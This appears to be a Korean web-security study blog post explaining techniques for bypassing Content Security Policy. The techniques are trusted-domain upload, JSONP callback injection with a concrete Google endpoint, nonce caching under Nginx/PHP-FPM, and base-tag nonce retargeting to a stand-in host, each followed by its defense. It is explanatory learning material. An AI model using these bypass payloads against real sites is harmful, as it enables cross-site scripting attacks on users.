신뢰하는 도메인에 업로드
만약 정책에서 허용하는 출처가 파일 업로드 및 다운로드 기능을 제공한다면, 공격자는 출처에 스크립트와 같은 자원을 업로드한 뒤, 다운로드 경로로 웹 페이지 자원을 포함시킬 수 있다.
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
...
<h1>검색 결과: <script src="/download_file.php?id=177742"></script></h1>
외부 자원 업로드 예시
JSONP API
만약 CSP에서 허용한 출처가 JSONP API를 지원한다면, callback 파라미터에 원하는 스크립트를 삽입하여 공격이 가능함
(JSONP - 웹 애플리케이션에서 서로 다른 도메인 간에 데이터를 주고받을 때 사용되는 기술)
웹 페이지에서 *.google.com 에서 온 출처만 허용한다고 가정하면, 구글에서 JSOMP API를 지원하는 서버를 찾아 callback에 원하는 스크립트를 삽입할 수 있다.
https://accounts.google.com/o/oauth2/revoke?callback=alert(1);
JSONP API를 제공하는 서비스는 콜백 이름에 식별자를 제외한 문자를 거부함으로써 이를 추가적으로 방어할 수 있다.
그러나 가능한 경우 JSONP보다는 CORS를 지원하는 API를 사용하는 것이 좋다.
nonce 예측 가능
CSP의 nonce는 예측 불가능한 값을 태그 속성에 포함시켜 XSS 공격을 방어하는 데 사용된다.
이 방어를 효과적으로 구현하려면 몇 가지 주의사항이 필요하다.
- nonce 의 예측 불가능성: nonce 값은 요청마다 새로 생성되며, 공격자가 예측하거나 취득할 수 없는 값이어야 한다. nonce 생성 알고리즘이 취약하면 공격자가 이를 예측해 악성 스크립트를 삽입할 수 있다.
- 캐싱 주의: nonce가 포함된 HTTP 헤더나 <meta> 태그가 캐싱되지 않도록 해야 한다. 특히, PHP나 CGI와 같은 서버 스크립트는 경로에 따라 잘못된 캐싱이 발생할 수 있다. 예를 들어, '.css' 확장자 파일이 캐시되어 같은 nonce 값이 반환되면, 공격자가 이를 악용할 수 있다.
- 보안 난수 생성기 사용: nonce 값은 보안상 안전한 의사 난수 생성기를 사용해 생성해야 한다. 공격자가 예측할 수 있는 현재 시각 기반의 난수 생성기 (srand(), rand()) 는 사용하지 말아야 한다.
Nginx와 PHP FastCGI SAPI(php-fpm) 설정에서는 nonce의 캐싱으로 인한 보안 취약점이 발생할 수 있다.
location ~ \.php {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
- 현재 문제점:
- /dom_xss_vulnerable.php/style.css와 같은 경로로 접근할 때, PHP 파일이 실행되어 nonce가 <meta> 태그로 출력됩니다.
- CDN은 일반적으로 CSS나 스크립트 같은 정적 파일을 캐싱하므로, 출력된 nonce도 캐싱됩니다.
- 공격자는 고정된 nonce 값을 이용해 XSS 공격이 가능: <script nonce="{고정된 nonce 값}">alert(1);</script>
- 기존 fastcgi-php.conf 설정:
- $fastcgi_split_path_info를 사용하여 .php 경로 뒤에 추가 경로를 허용 (fastcgi_split_path_info ^(.+\.php)(/.+)$;).
- 이러한 설정은 PHP가 경로 뒤의 CSS 파일처럼 보이는 요청도 실행하게 만듭니다.
- 수정 방법:
- PATH_INFO 기능을 사용하지 않는 경우: .php로 끝나는 URL만 FastCGI로 전달되도록 수정해야함
location ~ \.php$ {
try_files $uri =404;
fastcgi_index index.php;
include fastcgi.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
base-uri 미지정
HTML의 하이퍼링크에서 경로를 지정할 때, 호스트 주소 없이 경로를 사용하면 브라우저는 현재 문서를 기준으로 경로를 해석한다.
<base> 태그는 이 기준점을 변경하여 <a>, <from> 등의 기본 target 속성을 지정할 수 있다.
공격 시나리오
- 공격자가 <base href f="https://malice.test/xss-proxy/">와 같은 마크업을 삽입하면, 이후 모든 상대 경로가 공격자의 서버를 가리키게 되어 임의의 스크립트가 삽입될 수 있다.
방어 방법
- CSP base-uri 지시문을 사용하여 <base> 태그의 href 속성을 제한한다.
Content-Security-Policy: base-uri 'none'
Nonce Retargeting 공격
- CSP가 스크립트 실행을 막더라도, base-uri 지시문이 설정되지 않은 경우 <base> 태그를 이용해 공격자가 임의의 자원을 로드할 수 있다.
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>
//jquery.js는 https://malice.test/jquery.js를 가리키게 된다
'웹 해킹 > 학습' 카테고리의 다른 글
[웹해킹] Client Side Template Injection (CSTI) (2) | 2024.09.06 |
---|---|
[웹해킹] Command Injection 우회 (0) | 2024.09.04 |
[웹해킹] NoSQL Injection (MongoDB) (0) | 2024.09.04 |
[웹해킹] CORS 취약점 (postMessage, JSONP) (0) | 2024.09.03 |
[웹해킹] 콘텐츠 보안 정책 (CSP) (0) | 2024.08.30 |